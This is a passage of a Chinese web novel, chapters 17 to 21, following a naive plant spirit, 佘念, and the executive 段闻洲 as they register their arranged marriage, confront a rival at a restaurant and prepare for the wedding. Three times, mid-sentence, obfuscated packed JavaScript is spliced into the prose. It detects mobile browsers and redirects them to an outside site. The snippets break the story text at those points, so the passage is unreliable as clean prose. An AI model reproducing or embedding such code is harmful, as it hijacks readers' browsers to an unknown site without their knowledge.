“那个,先生,您好歹请先把脑袋抬起来,不用一直靠在人家肩膀上的……” 红底的照片新鲜出炉,照片上的两人都身着白色衬衫,面带微笑望着镜头。 画面格外和谐,看起来不像是商业联姻的,更像是其他普通来领证的新人。 捏着手中的照片,佘念眼睛一眨不眨地不停盯着看。 拍完照后,汽车载着两人来到了民政局。 民政局坐落在市政区域的一处建筑大厅一楼,地势较高,需要爬完门口的台阶才能走进登记处。 “这里就是民政局吗?” 下车后佘念探头张望。 他只在电视里看见过领证的画面,不过电视里一般只拍主角们坐在窗口边盖戳的画面,自己还没有见过民政局的全貌。 “当心台阶。” 段闻洲跟着他身后,见他一直东张西望,便开口提醒他注意脚下。 没想到话音刚落,佘念就一个不留神,脚下被绊,身形一歪向前栽去。 “小心!” 见状,段闻洲连忙上前,三步做两步跨上台阶,一把抓住人的胳膊将其往后一拽。 佘念在晕头转向间免于了摔伤,向后跌入一个温暖又有力的怀抱。 他仰头看去,正好与低头向下看来的段闻洲撞上视线。 “还好吗?” 段闻洲轻声问道。 此时的段闻洲逆光而立,晨间的光从他身后打来,坚毅的轮廓线在阳光下被晕开,若隐若现,而在耳畔的声音磁性低沉,佘念抬眼望去,无端想起了林间的丁达尔效应。 也是这样的朦胧美好,但又令人神往。 视线交汇,两人保持着这样的姿势,竟谁也没有先动弹。 只觉得呼吸都滞了片刻,佘念一时间盯着人都失了神,忘记了要起身离开。 他,确实很好看呀。 即使以植物的审美来说也一直是这样,佘念忍不住在心底想。 “要注意脚下的路,当心别摔跤。” 不知道他心里所想,没有听见回答,段闻洲便再次耐心叮嘱注意安全。 “哦,哦好的,知道了。” 收回发散的思绪,佘念回过神来,怔怔地点头。 直到扶着自己的手托着自己站直身体,他才意识到两人已经分开了。 他连忙拍了拍自己的脸颊回过神来,紧接着同人并肩走进了登记处。 18. 第 18 章 由于已经提前预约了排号,所以两人不必再在现场取号排队。 不过在进行登记前,还需要进行婚检。 当地的婚检并不严苛,不必专门去其他医院做,直接在登记处就设有小型体检室,可以在里面做需要的一系列检查。 婚检的内容也很简单,只是做一下身高体重的检测,还有抽血之类的基础项目。 正好,段闻洲也想看看佘念的具体身高体重,好知道他到底有多营养不良。 两人推开登记厅旁边的房间走进,刚好这时体检室里没有其他人,无需排队。 “先给他做。” 扶着佘念的肩膀,段闻洲力道轻柔地将人往前推了推。 “好的,请您站到这上面来。” 工作人员领着佘念脱掉鞋子站上测量身高体重的仪器。 只见仪器上的屏幕显示:身高173,体重58公斤。 这也太轻了,完全不该是这个身高的男生该有的体重。 看见数字后,段闻洲不由得皱了皱眉。 “该你啦。” 丝毫不知数据合不合理的佘念跳下来穿上鞋,换他上去测量。 段闻洲的测量结果显示,身高188,体重75公斤。 “哇,你比我高好多。” 瞧见人的身高后,佘念嘴巴张成一个小o型,不停地从自己头顶比划出一条高度线,然后平行移在人身上对比着,发现自己真的只到他的肩膀处。 确实矮了一截呢。 见状,段闻洲好笑地拉下他的手。 测完其他的常规项目,最后还剩下一个项目。 那就是抽血。 考虑到佘念像个小孩子一样,段闻洲便也继续让他先抽,自己在人身后守着。 这样万一他怕抽血,自己也能帮着捂一下眼睛或者出声安慰安慰人之类的。 “把袖子挽起来。” 负责抽血的工作人员一边拆针头包装,一边说道。 闻言,佘念乖乖地把袖子挽到胳膊上,露出白皙瘦长的一条手臂。 “晕血吗?” “不晕……吧?” 犹豫了一会,佘念试探着回答。 自己晕不晕血还不知道?工作人员皱着眉扫了他一眼,但没有多说什么。 消毒的碘酒擦在皮肤上凉凉的,捆住胳膊的皮筋紧绷绷的。 段闻洲就站在佘念身后一拳左右的位置,手搭在人的肩膀上,算是一种鼓励。 不过他见佘念一直盯着工作人员的动作,连针头掏出来了也没有收回视线,还以为人其实是不怕打针的。 只见工作人员用力拍了拍肘弯的位置,找好了血管,便直接扎了下去。 针管刺破皮肤的瞬间,佘念毫无反应,就只是一眨不眨地盯着自己的胳膊,连视线都没有移开,镇定自若的样子,好像扎针就是跟被蚊子咬了一样不痛不痒。 看来自己是多虑了,他还没那么胆小。 想到这,段闻洲诧异之余也安下心来。 “好了,针口按十分钟以上,不然明天可能会有淤青。” 抽够血后,工作人员拔出针头,换上棉签压住出血口。 “好的。” 主动上前替人按住棉签的同时,段闻洲挑着眉偏头看向佘念问道。 “原来你不怕打针?” 而佘念却罕见地没有回答他,依然还是保持着方才伸手等着被打针的动作,一动不动。 看上去波澜不惊,但若是仔细一瞧的话,便能发现此时他的眼睛微微瞪大了几分,目光里有几分呆滞。 紧接着,他木木地转过头,动作卡顿得像是许久没打润滑油的机械,一卡一卡的,又一顿一顿的。 他瞳孔睁大,神情呆滞中又带着几分震惊和控诉,头顶上方似乎有几个大写的问号浮现出来。 他张了张嘴巴,似乎想说什么,但开口时嘴巴里蹦出来的第一个音节却是: “嗝!” ——被吓得打嗝了。 没想到有的人表面看似平静得很,实际上内里已经被吓得不停打嗝了。 段闻洲忍俊不禁,给人喂了大半杯水才好不容易让他止住打嗝。 “为、为什么要带我来做这个!” 好痛啊被扎得,含泪的佘念委屈巴巴地撇嘴控诉,湿哒哒的眼眶里就快要有泪水溢出。 从深山老林里出来的小蛇舌草精,哪见过这种架势的检查。 一根针就那么直接戳了进来,疼死草了。 “抱歉,因为这个是必须检查的项目。” 看人刚刚那么淡定,还以为他不怕这个,没想到不是不怕,而是已经被吓呆了,段闻洲好半天才压下嘴角的笑意。 甚至还怕到了反应都要慢半拍的地步。 “还、嗝,还有其他这种项目吗?” 千万不要再有了,佘念眼泪水汪汪地问,同时在心底默默祈祷。 “没有了,我可以保证,所有项目都已经检查完了。” 见段闻洲举起手发誓,佘念这才信了,用力地吸了吸鼻子,努力装出我可以我没哭我不怕的表情。 虽然毫无说服力就是了。 等到段闻洲也抽完血,两人才离开了体检室。 体检结果出得很快,在大厅里等了一会就拿到了。 接下来,就是最后的登记环节了。 两人来到窗口处填写婚姻申请表,表格的最后一处需要签名。 不同于段闻洲俊逸洒脱的花体签名,佘念在最后一行签下自己姓名时,是用一笔一划的工整楷体字写的。 一个是飘飞连体的大人字,一个是板正方正的小孩字,同时出现在一张纸上,对比之下倒也有趣极了。 佘念的每一笔都落笔清晰,认认真真地写下,字迹工整规矩,没有连笔,不是行云流水的签名体,而是一眼小孩才会写的字迹。 但是很可爱,正所谓字如其人,这字体和他本人很像。 余光从人的签字上移开,段闻洲无声地勾了勾嘴角。 申请交还给工作人员,随着钢戳的重重盖下,两个红色的小本本被递了过来。 封面上写着的结婚证三个大字格外显眼。 拿过属于自己的那个红本本,佘念好奇地仔细打量。 “那我们就算是正式结了婚吗?” 他眨巴眼问道。 “嗯,但是过段时间我们还会举行婚礼,到时候会有很多人来参加。” 段闻洲回答。 闻言佘念点了点头,从高脚凳上跳下去,准备和人一块离开。 但在向大厅外走时,他瞥见一旁的宣誓台上有其他新人在拍照。 “那是什么呀?” 见状,他拉住段闻洲,好奇地问。 “你可以理解为是一个拍照的地方,每一对领了证的人都会去那里留个纪念。” “那我们为什么没有去那里拍呢?” 为什么我们两个好像就是准备直接走的样子,我们不是也才领证吗?佘念不太明白。 而段闻洲抿了抿唇,一下子不知道该怎么同人解释。 难道要跟这个小孩直白地说,我们两个只是商业联姻,所以不需要这套纪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15707044|173580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 念流程吗? 这样似乎有些太残忍了。 顿了顿,段闻洲改变了主意,决定顺着人的想法来。 “那我们现在去拍照,好不好?” 于是他牵住人的手,向宣誓台走去。 这时宣誓台上有人在拍了,两人排队等人家拍完后才过去。 “你好,请问能麻烦你帮我们拍一下照片吗?” 段闻洲拜托刚从台上下来的两位新人。 “好啊好啊。” 被拜托的女生热情地接过手机,十分乐意。 于是段闻洲拉住佘念的手站到宣誓台后,并肩站着准备拍照。 “欸等一下——” 开拍前,佘念忽然出声喊停,然后转头望向段闻洲。 “先别拍,你头发有一点乱了。” “这里,翘起来了。” 说着,他踮起脚,伸手替人去捋顺有一小撮脱离发蜡束缚垂下的鬓发。 “谢谢。” 闻言,段闻洲弯了弯唇,专门低下头来,好让他能够碰到自己的头。 前方准备拍照的小姐姐见状,姨母笑地对着眼前这幕悄悄按下拍照键记录。 “现在好了,麻烦给我们拍一张吧。” 整理好头发后,段闻洲歉意地对帮忙的小姐姐说道。 “好哦,你们两个站近一点吧。” 小姐姐摆了摆手,让他们别离那么远。 又要离近一点呀,佘念螃蟹一样横着朝段闻洲的方向移了移。 两人肩并着肩,脸上都挂着淡淡的笑,显得十分登对和谐。 小姐姐嘴角的姨母笑更甚,险些要翘到眼睛底下。 为了避免抓拍到闭眼,她特意连拍了几张,而拍到最后一张时,恰巧佘念又有了动作。 ——刚才拍照时不让靠在肩膀上,现在这次总可以了吧? 拍着拍着,佘念忽然在心里想道,然后歪了歪脑袋,直接将头靠在了段闻洲的肩膀上。 感受到肩膀上传来的重量,段闻洲先是一怔,但随即恢复如常,没有推开。 就这样,最后一张合照里,手机记录下了两人紧紧依靠在一起的样子: 只见佘念靠在了人的肩膀处,而段闻洲视线微微下移,落在人的身上,满是关切。 除了动作不同于前几张照片外,若是仔细一看,还能发现这张照片里两人嘴角的笑意都比起之前更深了些。 “谢谢,麻烦你了。” 拍完照后,段闻洲上前拿回手机,微笑着对人道谢。 “不客气不客气,你们好配啊,祝你们百年好合呀。” 女生掩嘴笑着,目光在两人之间来回打量。 百年好合吗? 其实是做不到的,毕竟只是联姻,但这话自然是不合适在现在说出来,于是段闻洲只是回了一个礼貌的笑,没有出声。 民政局这边的登记结束了,两人往外走去。 “手给我,当心别摔了。” 还记得来时人险些被绊倒的画面,在下台阶时段闻洲主动伸出手,让人握住。 见状,佘念嘿嘿一笑,伸出了手来。 两人沿着台阶拾级而下,回到车上。 “我们现在回去吗?” 他问道。 “不,还是和以前一样,先带你去吃饭。” 毕竟为了抽血,两人连早饭都没吃,这个点了肯定饿了,段闻洲勾了勾嘴角,发动了车辆。 在两人离去时,他们没有注意到,民政局外蹲守的狗仔队,摄像头咔嚓一声亮起,拍下了他们刚才出来的画面。 19. 第 19 章 这次段闻洲准备带人去吃的,是一家离市中心稍远的私房菜馆。 餐馆只接受会员提前预约,并且每日的餐单也不固定,全依当季菜品来定,但胜在口味着实不错,他觉得贪吃的小孩应当会喜欢。 驾驶车辆开了差不多四十分钟才到达,看着眼前用竹子打造栅栏围成的小院,建筑本身也古色古韵的中式餐厅,佘念情不自禁感慨: “哇,好漂亮。” “这里的菜品也都很好吃,走吧我们进去。” 陪着人在外面的院子里转了一圈,段闻洲才带着意犹未尽的人走进餐馆。 大厅正中央有一处的景观,潺潺流水从石头上流淌而下,注入水面,在满是小鱼儿的水里激气涟漪。 服务员带着两人向楼上预约的包厢走去,没想到刚上到二楼,就与迎面走来的一个男人撞上面。 看清来人是谁后,段闻洲皱了皱眉,本想当做没看见直接擦身走过,但那男人却格外不识相,还主动贴了上来打招呼: “哟,这不是我们段大少爷吗?” “你好,请问有什么事吗?” 闻言,段闻洲抿了抿唇,连笑意都没带地停下脚步,甚至都没有回头看向来人,很显然对其并不欢迎。 “没什么事啊,这不就是想跟你打个招呼,顺便关心关心你,不欢迎吗?” 那人挑了挑眉,满脸揶揄。 “我来关心一下我们段大少爷,看看公司倒没倒,要是破产倒了的话,万一在这付不起饭钱我还可以顺手帮个忙,你说是不是?” “韩、伦!” 话里的嘲讽意味太明显,段闻洲神色一凛,双手握拳,咬牙喊着那人的全名警告着。 “干嘛,我这不也是为你好吗?谁不知道你们段家现在的情况啊,你别好心当成驴肝肺。” 被叫做韩伦的男人故作无辜地耸了耸肩,假装没听出来人的警告,语气里满是讥讽。 韩家和段家在生意上一向是竞争对手,而且还是竞争不过的输家,这种劣势在段闻洲上任以后更甚,韩伦也总是被拿来同段闻洲做比较。 所以难得逮到段家失势的时候,他自然是要报复性地冷嘲热讽一番。 站在段闻洲身后的佘念不明所以,但即使迟钝如他,也依然能感觉到空气中剑拔弩张的紧张气势。 特别是瞧见段闻洲阴沉的脸色,他也知道对面那个陌生男人不是个好人,说的话也不好听。 “怎样,要不你求求我?没准我心一软就帮你把这餐饭钱付了如何?这样你也能省点钱去救段氏。” 韩伦嗤笑一声。 闻言,佘念不乐意了,他一把从段闻洲的身后钻出来,猛地推了一把韩伦,然后抬起胳膊护在人身前,大喊着: “你谁啊!你要干什么!” “哟,这是谁?段闻洲没想到你口味这么有意思,你在跟人约会?” 见忽然来了个小孩,韩伦站稳了身形,挑了挑眉,饶有兴趣地将佘念上上下下地打量一番。 “我看你家段闻洲也快破产了,要不跟了我算了?我保证可以带你吃香的喝辣的。” 说着,他还颇为轻佻地伸出手,想要摸一把佘念的脸蛋。 对他的言行愈发厌恶,看着朝自己伸来的手,佘念正准备恶犬一样咬他一口给个教训,但先一步开口的段闻洲打断了其动作。 “韩伦,注意你的言辞。” 段闻洲眉头拧得更深,脸色阴沉,语气不善,一把攥住了人的手,紧紧钳住他的手腕。 “怎么,护这么严?他是你什么人啊?” 见状,韩伦往回抽了抽手,却没抽出来,瞪眼看向对面的人。 “跟你无关,我只希望你注意一下自己的言行。” 暗地里加大了攥紧的力道,段闻洲语调冰冷,眼神狠厉。 这个人真的太坏了,肯定不是个好东西,比起闻洲哥哥差远了。 瞧见那根被制住横在前方的胳膊,佘念一向圆溜溜的眼睛眯起一半,审视又警惕地盯着那家伙。 小蛇舌草有自己的直觉,能分辨出这家伙身上不善的气质。 余光瞥见段闻洲攥住人的手腕,又想起方才被打断的动作,他皱起眉头,决定继续给人点教训。 身体上和生理上都必须给的那种。 于是佘念张开了嘴,嗷呜一口,恶狠狠地对着人的胳膊咬下,力道之大,几乎要穿透皮肤,疼得韩伦直接原地蹦起。 “我靠你属狗的吗!” 钻心痛意从胳膊直达大脑,韩伦都怀疑被咬出血了,使劲想往回抽出手,可无奈佘念的嘴跟钛合金打的一样,咬合力惊人,让他怎么也抽不开。 就连一旁的段闻洲都看呆了,微微瞪大了眼,没想到佘念会张嘴咬人。 “不许…泥嗦他的坏发。” 牙齿紧紧咬着人,佘念怒视,口齿不清地警告着那人。 “行行行我不说了!大哥你快放嘴啊我靠痛死我了!!” 怎么折腾都逃不掉,韩伦痛得眼泪都快出来了,在原地上蹿下跳,跟个猴子似的。 “段闻洲你让人住口啊!我跟你道歉,再也不说了还不行吗!” 陡然被喊到名字,段闻洲回过神来,咳了两声,连忙去拉佘念: “乖,不咬了,这是脏东西。” 倒不是关心韩伦这家伙是否会被咬伤,主要是怕佘念把嘴巴弄脏。 “你tm才脏……对不起对不起我脏,我是脏东西行了吗,求你快放开。” 本还想逞一下口舌之快,但没想到话还没说完胳膊上的力道又加重了些,疼得韩伦倒吸一口冷气,立刻改口求饶。 “好了,佘念,乖,松口。” 听着人连声道了好几句歉后,段闻洲才拍了拍佘念的背,弯下腰在人耳边道。 “哦……” 既然他都这么说了,闻言佘念乖乖地松开了嘴。 “来,擦一擦,嘴巴都被弄脏了。” 掏出来手帕,段闻洲仔细地替人擦了擦嘴巴。 “唔,好。” 任由人给自己擦着嘴唇,佘念听话地扬起下巴,还专门撅了撅嘴。 “你还有什么事吗,韩公子?” 给人擦完嘴后,段闻洲冷淡地瞥了一眼还在原地站着的韩伦,嗓音冰冷,和方才对待佘念时的体贴态度大相径庭。 “没、没事了,我这就走。” 刚刚被人咬的地方已经留下了一排深深的牙印,又红又肿,若是再用力一点点就要破皮了,韩伦实在不敢再惹佘念了,生怕他又咬人,连忙脚底抹油跑走了。 一边走,他还一边小声在嘴里嘀咕,这人是个神经病吧,哪有正经人会咬别人的。 这话被佘念听见了,他眯起眼,决定再给人点教训。 于是他垂在身侧的手悄悄一抬,并指施展出一个小法术来治治人。 只见韩伦正准备下楼,脚下忽然踩到一滩水,整个人一滑没站稳,咚的一声跌倒坐在台阶上。 又恰好是楼梯口的位置,他重心不稳直接摔下了楼去,以坐在地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15707045|173580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的姿势,用屁股噔噔噔地一阶一阶地滑下来了一楼。 旁边的服务员见了,没忍住噗嗤一声笑了出来。 见状段闻洲也不由得掩嘴低笑。 “靠……” 出尽洋相的韩伦讪讪地站起身来,尴尬地拍了拍身上的灰,迈着疼得要死的胳膊和腿,同手同脚又一瘸一拐地离开了餐馆。 “活该。” 冲着那人离开的方向,佘念吐着舌头扮了个鬼脸。 “谢谢你,佘念。” 想到方才这小孩维护自己的举动,虽然是很幼稚的做法,但段闻洲还是觉得心里有一股暖流流过,抬起手来摸了摸人的脑袋。 “他不懂你,说的话都不对,你明明是个很好的人。” 被摸着头,佘念抬起脑袋,一字一句认真地对他说道。 “那些话很难听,你不要放在心上,不要信他的。” 这小孩,不仅会用自己的方式出头维护自己,还担心自己将那些话听进去,特意安慰自己不要在意。 看上去笨笨的,其实也很细心。 懂得感恩,有自己的善恶观,有自己为人处事的思维方式,也有自己认定的信任之人。 看来自己对他的好没有白费。 望着他明亮又真挚的眼神,段闻洲不由得动容,眼底眸光闪烁。 揉人脑袋的动作也力道加大了几分。 在带人进了包厢后,他没有急着领人在座位上坐下,而是先拉着人进了卫生间。 “来,洗一下嘴巴,刚刚咬了不干净的东西。” 带着人来到洗手台边,段闻洲给人倒了杯茶漱口,佘念咕噜噜地在嘴里含了一会才吐掉,吐完后还不停呸呸呸了好几声。 紧接着,他打开水龙头,打湿了手帕后,再重新给人擦了擦嘴巴。 沾了水的手帕轻轻地印在人的嘴角,力道轻柔,一点点地给人擦过唇瓣,然后又顺带擦了擦脸。 食指处的薄茧时不时碰到人的脸颊,有点硬,又有点痒,手腕处手表的表带偶尔蹭上,还有些凉。 但偏偏那只大掌是温热的,是有力的,温柔轻抚,皮肤接触间带给人满满的安心与信赖。 好舒服,好喜欢。 于是佘念不自觉地歪头,小狗一样在人手掌心里蹭了蹭。 “你的手真的好大呀。” 之前买戒指的时候就发现了,段闻洲的手要比自己的大一截,现在感受到这手掌贴在自己的脸侧,才发现居然大到还能捂住自己大半张脸。 他这蹭蹭的亲昵动作,让段闻洲无端想起了小时候朋友养的博美,也是小小一只,眼睛和葡萄一样圆溜溜,爱将圆润的脑袋挤到掌心里求摸。 就像在撒娇一样。 被自己的联想逗乐,段闻洲的嘴角不由得向上弯了弯,直接用自己的手背贴了贴他的脸颊,然后又捏住他的鼻子逗了逗。 “今天多谢你维护我,我很开心,谢谢你。” 他温声同小孩道谢。 “不客气的。” 闻言,佘念用力地摇了摇头。 “我会保护你,因为我很喜欢你,你是个好人,对我也很好。” 虽然知道此喜欢非彼喜欢,但听见人如此直白地诉说着喜欢,都顾不上被发的好人卡,段闻洲还是怔愣了片刻。 “小朋友,喜欢这个词可不能乱说的。” 他哑然失笑。 “可是,我就是很喜欢你啊。” 喜欢就是喜欢,难道还不能说了吗?佘念不解。 20. 第 20 章 一下子也不好同人说清楚喜欢一词的含义有多深厚,段闻洲想了想,最后还是放弃了解释。 “所以为什么不能乱说啊?” 问题没有得到解答,佘念不肯放弃,不依不饶地拽着人的衣袖追问。 “原因很难解释,但是你就先记住,不可以随便对别人乱说这句话。” “可是你不是别人啊,也不能对你说吗?” 这问题倒让段闻洲没法答了,要是肯定,那就得解释自己为什么是外人,要是否定,那可能小孩就要继续喊喜欢了。 于是他选择岔开话题,用手指戳了戳人的脑袋,留下一句话后就转身离开卫生间: “出来吃饭吧。” “诶,你还没回答我呢——” 见他要走,佘念连忙快步跟上,叽叽喳喳的小鸟一样,坚持不懈地追在人身后问。 “来尝尝这个菜,是这家的招牌菜。” 菜上齐后,段闻洲主动给人夹了一筷子菜放到碗里。 而佘念低头看了看碗里好吃的,却没有和往常一样立刻动筷,而是抬头正视着身旁的人,搬起板凳挪了挪,往人的方向凑近,趴到他耳边认真地说: “我是真的很喜欢你的喔,没有说谎。” 怎么还在记着这事,瞧见他亮闪闪的眼睛扑闪扑闪,段闻洲噗嗤低笑出声,好笑极了。 “嗯,我知道了,先吃饭。” 他直接夹了一筷子菜投喂到佘念的口中,堵住了小孩嘚吧嘚吧的嘴,怕他还要继续说。 “尊的…稀饭你喔。” 佘念嚼嚼嚼,吃着嘴里美味的菜,同时还不忘强调道。 一场饭下来,段闻洲起码听见他说了不下二十次喜欢。 “那我走啦。” 饭后将人送回家,跳下车后,佘念先是摸了摸自己的口袋,确认结婚证没落下以后,才转身跟人道别。 “嗯,慢一点。” 段闻洲也从驾驶座上下来,专门目送人进门。 “对了,忘记告诉你一件事,这几天你最好别上网,也不要被网上的说法影响心情。” 段家和佘家联姻的事肯定会被有心的媒体扒出,网上的舆论瞬息万变,自然不乏有恶意中伤和抹黑的评论。 对此佘念有些茫然,自己又不是蜘蛛,为什么好端端地要上网? 不过见人一脸严肃地叮嘱自己,他便也没有多问,只是乖巧点头表示知道了。 “嗯,记住了就好,快进去吧。” 看他这么听话,段闻洲又怜爱地揉了一把人的脑袋,催其快进屋。 而佘念却没有急着进门,而是向着他所在的方向走近几步,然后猛地一把抱住了人,睁着圆乎乎的眼睛抬头看着人,再次强调: “我要回去了,今天那个人说的话你可千万不要放在心上噢,不然对身体不好。” 看来在人类社会学习多日,他确实有进步,现在都会说对身体不好这话了。 正所谓恶语伤人六月寒,他担心段闻洲的心情会受那人影响,所以才在分开时又刻意强调一遍。 “好,我记住了。” 今天倒是不停被这小孩挂牵了,这样的体验很特别,段闻洲勾起嘴角,没忍住又摸了摸他的小脑袋。 “噢对,还有一件事。” 顿了顿,佘念又继续道。 “我确实很喜欢你喔。” 说完这句话后,他嘿嘿一笑,连回答的机会都不给段闻洲留,生怕他又反驳,忙不迭地松开了手向大门的方向跑了。 一边跑,还一边回头冲身后站着的那人快速挥手道别。 手都快摇成雨刮器了。 光顾着看身后没看脚下,他还一不小心被绊了一下,一个趔趄,好半天才稳住身形。 完了还扭头冲段闻洲咧嘴一笑,表示自己无碍,继续噔噔噔地向前跑。 这小孩,一天天这么冒冒失失的。 段闻洲收回险些要迈步冲上去扶人的脚步,哑然失笑地摇摇头。 就在他回到车上时,手机忽然一亮,收到了一条新的微信消息: 【祁宁:嘿兄弟,我回国了,晚上有没有来老地方聚一聚?】 ———— 正如段闻洲所预测的那样,今天他和佘念去民政局的照片被狗仔拍下来发到了网上: 【段氏现任总裁疑似今日领证,结婚对象据传为佘家少爷】 短时间内,关于该话题的讨论冲上热搜: #段氏佘氏疑似联姻# #段氏资金链危机曝光,以联姻方式企图自救# #佘家少爷是谁# 网上集中谈论的,除了段氏公司目前遭遇的问题外,还有联姻对象佘少爷。 【网友A:佘家少爷?佘群逸吗,我的妈呀段总你为了公司真是付出太多了……】 【网友B:佘群逸那家伙的风评可太差了,之前灰溜溜从娱乐圈退圈的不就是他吗?】 【网友C:虽然但是,好像挺多人不知道佘家其实有两个少爷的样子。】 【网友D:呃那个傻子就不用提了吧,段闻洲得饿成啥样会去娶一个傻子啊。】 好在佘念不会上网,段闻洲不在意网上的留言,所以这样的讨论丝毫影响不到他们。 甚至当事人之一,今晚上还赴约去见了朋友。 走进酒吧内,段闻洲左右张望了一番,看见了吧台处冲自己招手的男人。 他走过去,直接在人身边坐下。 “嘿,好久不见。” 一头金黄色头发的男人冲他抛了个wink,并拢两指一挥对人打了个招呼。 “从国外回来多久了?” 段闻洲笑了笑,招来吧台后的服务员要了一杯不含酒精的饮料。 “今早上才回来,在国外这段时间憋死我了,工作累还人生地不熟的。” 男人嘿嘿笑着,聚起酒杯晃了晃。 “我可听说你家的事了,这不是一回来就赶快跑来关心一下你。” 男人名叫祁宁,是段闻洲从小玩到大的好友,两人关系一直很好。 祁宁是祁家最小的孩子,工作后没有继承家业,而是跑去创办了自己的品牌,经过好几年的努力,个人品牌已经成功挤入了国内高端奢侈品的行列。 前段时间他去国外市场调研,得知了段氏公司的事,又听闻自己的好友要联姻了,这才一回国就立马跑来了解情况。 “你家现在到底什么情况?需要帮忙吗?” 外面的风言风语说段氏资金链严重断裂,很快就要周转不开,可能马上就要破产了,传得有鼻子有眼的,第一次听见时连祁宁都吓了一大跳。 “别担心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15707046|173580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还没有外面传的那么夸张,那些谣言估计也是有人刻意操纵的。” 借散播恶意谣言来降低大家对段氏集团的信心,以至于不少合作伙伴连出手帮忙都不愿意,生怕做赔本买卖。 段闻洲抿了一口饮品,同人摊开来说这场危机的真实情况。 原来,前段时间段闻洲嗅到了新的商机,为了把住风口,胆大地投资了两个项目。 一个是A市新区的商圈建设项目,按照最新的政策风向,若是把握住了这个商机,那依据估计的人流量来算,日后将会有极可观的收入。而另一个,则是某项新型能源的研发与上市推广项目,正处于产品最后的研发阶段,要不了多久就能投入市场了。 虽然有一定风险,但他缜密计算过,这是值得一搏的项目。 而这两个项目前期所需要投入的资金量巨大,本来按照段闻洲的预估,集团的资金链是足够撑到这两个项目结束的,可不知为何到了后期,却有变故突生。 ——原先都已经拿到了批准的商圈,政府层面不知为何被搁置了,而新型能源的上市申请也迟迟得不到批准。 被这么一拖延,消耗的成本增加,以至于资金链有些跟不上,眼下虽然还能再撑一段时间,但是如果批准再拿不下,就真的有危机了。 只不过外面却传得尤其夸张,让人误以为段氏已经到了快要倒闭的程度。 “那你确定还能撑得住吗?需要帮忙的话就开口告诉我。” 听了他的话,祁宁皱了皱眉,还是不太放心。 “有做两手准备,一是还在打探政府那边的情况,二是继续融资打好持久战。” 顿了顿,段闻洲神色暗了暗。 “只是我怀疑上面有人故意卡着申请,在拖延时间针对段家。” 关于这点,他其实也有怀疑对象,因为赵家的嫌疑很大,也有手腕和实力干这些事,再加上两家一向是竞争对手,赵家也在觊觎商圈的项目。 “你融资的办法,就是和佘家联姻吗?” 闻言,祁宁挑了挑眉。 “网上已经传得沸沸扬扬了,都说是和佘群逸,但是我可听说是他家的佘念?” “对。” 段闻洲点了点头。 “我的天,那你牺牲也太大了吧,那个佘念不是个傻子吗?” 也听到过关于佘家这傻子少爷的传闻,眼下得知自己兄弟真要娶个傻子,祁宁震惊了。 “其实你不太了解他,他并不是个真正意义上的傻子。” 对他的反应很能理解,段闻洲嘴角扬起,微微摇了摇头否认。 “他本性是个很单纯的孩子。” “噫,你不会是情人眼里出西施吧……不对啊你俩也不是情人,你怎么这就带滤镜了。” 听见他带夸奖的话和嘴角的笑,祁宁更震惊了,不由得摸了摸人的额头,怀疑他是不是发烧了。 “我不是带滤镜,等你和他正式接触过就明白我的意思了。” 毕竟空口无凭,段闻洲也不急着改变他的想法,只是笑了笑拍开他的手。 “行吧,我等你婚礼上再见见那人。” 祁宁耸了耸肩。 “说起来,婚礼就快了吧。” “嗯,就在下周。” 说着,段闻洲垂眸,神情晦暗,低头抿了一口饮品。 21. 第 21 章 婚礼前一天,段闻洲和佘念提前一天来到酒店过夜,为第二天的婚礼做准备。 虽然是婚礼的主角,但佘念其实对婚礼本身没什么期待,他只是知道明天过后自己就可以搬去段闻洲家了。 在入住酒店前,他只拿上了段闻洲给自己买的那几套衣服,并提前送到了家中,只等晚上结束后自己也搬进去。 随着第二天旭日的升起,盛大的婚礼拉开了帷幕。 “先生,麻烦您眼睛再闭一下。” 休息室内,化妆师正在为佘念化妆,软乎乎的化妆刷在他脸蛋上轻轻打着腮红,让他觉得好像在被蒲公英拂着脸,十分享受。 化妆师替人化了个淡妆,然后又给人卷了一下头发,打扮完毕后她满意地双手叉腰,欣赏着自己的杰作。 ——果然,这位新郎很好看,自己的判断确实没错。 今天她刚见到佘念时,第一眼打眼一看,人还只是一副平平无奇的模样,就是长得可爱点,皮肤白净点,也不算多出彩。 不过作为化妆师的职业习惯让她不由得多打量了人一番,结果越看越觉得佘念五官底子其实不错,若是好好打扮起来,肯定很出众。 这下化完妆一看,果然好看多了。 “可以啦,您睁开眼吧。” 化妆师乐呵呵地提醒道,满意极了。 闻言,佘念缓缓睁开了眼,在看清了镜中的自己后,他本人都有些愣住了。 诶,镜子里的这是我吗? 他缓慢地眨了眨眼,难以置信,甚至还凑近了几分打量。 